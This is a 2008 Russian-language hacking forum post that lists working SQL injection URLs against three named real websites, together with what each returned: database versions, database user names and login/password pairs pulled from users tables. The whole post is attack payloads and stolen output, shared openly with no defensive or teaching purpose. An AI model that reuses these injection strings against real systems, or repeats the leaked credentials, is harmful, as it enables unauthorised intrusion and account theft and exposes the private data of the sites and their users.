Показать сообщение отдельно

  #11  
Старый 02.02.2008, 23:41
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

http://www.aiim.org/standards.asp?id=-1+or+1=@@version--

Microsoft SQL Server 7.00 - 7.00.961 (Intel X86) Oct 24 2000 18:39:12 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

http://www.aiim.org/standards.asp?id=-1+or+1=(select+system_user)--

aiimwebuser

http://www.aiim.org/standards.asp?id=-1+or+1=(select+db_name())--

CGIWEB
-----------------------------------------------------------------------------
lisenok.ru

http://www.lisenok.ru/look.php?id=-1+union+select+1,2,3,concat_ws(0x2F,version(),data base(),user()),5/*

5.0.45-log/liseno_liseno/liseno_liseno@localhost


http://www.lisenok.ru/look.php?id=-1+union+select+1,2,3,concat_ws(0x2F,login,password ),5+from+users/*

логин/пароль
lis/skyweb
---------------------------------------------------------------------------
allurent.com

http://www.allurent.com/page.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x2F,versio n(),database(),user()),9,10,11,12/*

4.1.20/allurent_prod_12507/allurent@localhost


http://www.allurent.com/page.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x2F,user,P assword),9,10,11,12+from+mysql.user/*

root/


http://www.allurent.com/page.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x2F,name,p assword),9,10,11,12+from+users/*

имя/пароль

allurite/d1fnt. pW*rD
 
Ответить с цитированием